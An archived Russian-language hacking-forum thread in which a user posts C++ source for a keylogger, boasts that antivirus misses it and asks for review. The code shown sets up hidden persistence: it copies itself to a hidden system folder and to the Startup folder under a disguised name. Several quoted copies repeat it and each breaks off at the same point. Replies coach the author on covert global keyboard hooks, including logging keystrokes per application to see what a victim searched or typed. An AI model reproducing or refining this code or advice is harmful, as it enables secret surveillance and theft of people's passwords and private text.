ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

29.08.2017, 16:09
|
|
Guest
Сообщений: n/a
Провел на форуме: 4659
Репутация:
0
|
|
Привет, написал месяц назад кейлоггер на Си Плюсах, оцените пожалуйста. Использовал хук GetAsyncKeyState(), антивирусами не палится. А еще укажите на ошибки в синтаксисе если таковые имеются.
Заранее прошу прощения за кодировку комментариев.
#include
#include
#include
#include
#include
#include
#include
using namespace std;
int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup
char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));
//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64",FILE_ATTRIBUTE_HI DDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"),FILE_AT TRIBUTE_HIDDEN);
//-------------------------------------------------
ofstream fut("C:\\autoexec.bat");
fut
|
|
|
|

29.08.2017, 18:12
|
|
Guest
Сообщений: n/a
Провел на форуме: 131082
Репутация:
6
|
|
Он потому не палиться что антивирусу не остается вычислительных ресурсов всё съедает твой логгер
|
|
|
|

29.08.2017, 20:09
|
|
Guest
Сообщений: n/a
Провел на форуме: 4659
Репутация:
0
|
|
Сообщение от artkar
artkar said:
↑
Он потому не палиться что антивирусу не остается вычислительных ресурсов
всё съедает твой логгер
Я знаю что подобное опрашивание каждой из клавиш должно жрать ресурсы, но в действительности любой нажатие клавиш так и отслеживается на уровне ОС и (Я не имею ввиду библиотеку WinApi)
что-то незаметно что это шибко тормозит работу компа и ОС в целом.
|
|
|
|

29.08.2017, 23:41
|
|
Guest
Сообщений: n/a
Провел на форуме: 131082
Репутация:
6
|
|
Не, pooling (периодический опрос устройств, в данном случае клавы) уже давно не используется даже в старых процах для мс-дос.
|
|
|
|

30.08.2017, 12:55
|
|
Guest
Сообщений: n/a
Провел на форуме: 997379
Репутация:
125
|
|
Сообщение от JiEn
JiEn said:
↑
Заранее прошу прощения за кодировку комментариев.
Ну хотя бы для приличия надо было в теге [CОDE] оформить... пофиксил:
[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include
using namespace std;
int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup
char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));
//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
ofstream fut("C:\\autoexec.bat");
fut
|
|
|
|

31.08.2017, 09:41
|
|
Guest
Сообщений: n/a
Провел на форуме: 4659
Репутация:
0
|
|
[QUOTE="binarymaster"]
binarymaster said:
↑
Ну хотя бы для приличия надо было в теге [CОDE] оформить... пофиксил:
[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include
using namespace std;
int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup
char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));
//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
ofstream fut("C:\\autoexec.bat");
fut
#include
#include
#include
#include
#include
#include
using namespace std;
int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup
char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));
//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
ofstream fut("C:\\autoexec.bat");
fut
|
|
|
|

31.08.2017, 09:50
|
|
Guest
Сообщений: n/a
Провел на форуме: 4659
Репутация:
0
|
|
Сообщение от artkar
artkar said:
↑
Не, pooling (периодический опрос устройств, в данном случае клавы) уже давно не используется даже в старых процах для мс-дос.
Извинните, в таком случае, расскажите как в современных ОС определяется нажатие клавиш.
|
|
|
|

31.08.2017, 19:41
|
|
Guest
Сообщений: n/a
Провел на форуме: 131082
Репутация:
6
|
|
Сообщение от JiEn
JiEn said:
↑
Извинните, в таком случае, расскажите как в современных ОС определяется нажатие клавиш.
Стало быть итак:
В момент нажатия клавиши приходит сигнал от клавиатуры на ... я бы сказал на контроллер прерывания, но в современных устройсвах он составляет часть чипсета южного моста, хотя для простоты, всё же скажем на КОНТРОЛЛЕР ПРЕРЫВАНИЯ, итак при поступлении сигнала контроллер прерывания определяет его номер, по входному порту (каждое прерывание приходит на свой порт). Далее этот номер фиксируется в регистре запроса на прерывание и далее этот регистр сравнивается с регистором маски, чтобы определить разрешено или нет прерывание с таким номером?
Если прерывание разрешено то обработка переходит к аппартному комплексу называемому "арбитром приоритетов" так как прерывания ранжируются от более высокого к более низкому. Если нет запроса от более приоритетного прерывания арбитр приоритетов посылает сигнал на передачу к центральному микропроцессору. Для этого у центрального микропроцессора есть специальный вход INTR сигнализирующий о пришедшем прерывании. Если прерывания разрешены у него, то центральный процессор запрещает обработку прерываний и посылает по специальном выходу INTA подтверждение контроллеру прерывания что он получил его и занимаеться им.
Ну это пока так, часть, надо бы рассказать о каскадировании микросхем i8259a, о процессе завершения контролером прерывания, но это уже овер-ответ
Что делает процессор?
Прекращает выполнять ту программу что он сейчас выполняет. Скидывает весь контекст в стэк. Определяет по номеру прерывания вектор прерывания и вызывает процедуру обработки прерывания. После выполнения программы прерывания, восстанавливает контекст ранее выполняемой программы и продолжает её выполнять. Если во время обработки текущего прерывания придет запрос на новое прерывание, с таким же приоритетом, то оно будет поставлено в очередь на обработку, если придет запрос с более высоким приоритетом, то текущее прерывание тоже останавливается и контекст скидывается.
ну далее твой обработчик прерывания передаёт данные прерывания на более высокие абстрактные слои и оно наконец попадает к диспетчеру очереди сообщений (Это для винды) которые запаковывает данные и передает дальше по информационным магистралям ОС
Но вот как бы вкратце...
Да и чё ты на "Вы" ёбнулся штоле? Што за псевдо-интелегентность?
|
|
|
|

01.09.2017, 11:21
|
|
Guest
Сообщений: n/a
Провел на форуме: 4659
Репутация:
0
|
|
Сообщение от artkar
artkar said:
↑
Стало быть итак:
В момент нажатия клавиши приходит сигнал от клавиатуры на ... я бы сказал на контроллер прерывания, но в современных устройсвах он составляет часть чипсета южного моста, хотя для простоты, всё же скажем на КОНТРОЛЛЕР ПРЕРЫВАНИЯ, итак при поступлении сигнала контроллер прерывания определяет его номер, по входному порту (каждое прерывание приходит на свой порт). Далее этот номер фиксируется в регистре запроса на прерывание и далее этот регистр сравнивается с регистором маски, чтобы определить разрешено или нет прерывание с таким номером?
Если прерывание разрешено то обработка переходит к аппартному комплексу называемому "арбитром приоритетов" так как прерывания ранжируются от более высокого к более низкому. Если нет запроса от более приоритетного прерывания арбитр приоритетов посылает сигнал на передачу к центральному микропроцессору. Для этого у центрального микропроцессора есть специальный вход INTR сигнализирующий о пришедшем прерывании. Если прерывания разрешены у него, то центральный процессор запрещает обработку прерываний и посылает по специальном выходу INTA подтверждение контроллеру прерывания что он получил его и занимаеться им.
Ну это пока так, часть, надо бы рассказать о каскадировании микросхем i8259a, о процессе завершения контролером прерывания, но это уже овер-ответ
Что делает процессор?
Прекращает выполнять ту программу что он сейчас выполняет. Скидывает весь контекст в стэк. Определяет по номеру прерывания вектор прерывания и вызывает процедуру обработки прерывания. После выполнения программы прерывания, восстанавливает контекст ранее выполняемой программы и продолжает её выполнять. Если во время обработки текущего прерывания придет запрос на новое прерывание, с таким же приоритетом, то оно будет поставлено в очередь на обработку, если придет запрос с более высоким приоритетом, то текущее прерывание тоже останавливается и контекст скидывается.
ну далее твой обработчик прерывания передаёт данные прерывания на более высокие абстрактные слои и оно наконец попадает к диспетчеру очереди сообщений (Это для винды) которые запаковывает данные и передает дальше по информационным магистралям ОС
Но вот как бы вкратце...
Да и чё ты на "Вы" ёбнулся штоле? Што за псевдо-интелегентность?
Спасибо за ответ! Буду знать, но скажи как бы ты реализовал глобальный хук клавиш?
|
|
|
|

01.09.2017, 17:26
|
|
Guest
Сообщений: n/a
Провел на форуме: 131082
Репутация:
6
|
|
Сообщение от JiEn
JiEn said:
↑
Спасибо за ответ! Буду знать, но скажи как бы ты реализовал глобальный хук клавиш?
Ну в идеале конечно заменить вектор прерывания клавиатуры на свой, и на ранних системах так трухацкеры и делали, так как область таблицы векторов прерывания была программно доступна. Сейчас же золотые времена кид-хакинга канули и уровень входа резко подскочил. Таблица векторов программно недоступна и регистры работающие с ней тоже, но если сможешь это был бы топ-хак.
Далее нужно подниматься на верхние слои, чем ниже тем круче. Сможешь внедриться в ядро - супер, в драйвер клавиатуры - тоже супер. Но более реально это поставить хук в юзер-мод режиме допустим хук на функцию типо ГетМессадж - я бы так и попытался. ТОгда ты можешь логгировать все обрабатываемые нажатия клавиш, для любого приложения и даже можно настроить механизм фильтрации, агрегирования, то есть тебе нужно ведь сохранять не тупо все нажатия, а по приложением - тогда ты сможешь определять что человек искал в гугле,или печатал в ворде.
Тока когда будешь ставить хуки тут то и оживиться антивирус, почувствует уже руку профессионала и насторожиться.
Да и я не понял как ты понимаешь термин "Хук" я это понимаю перехват вызова какой либо функции..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|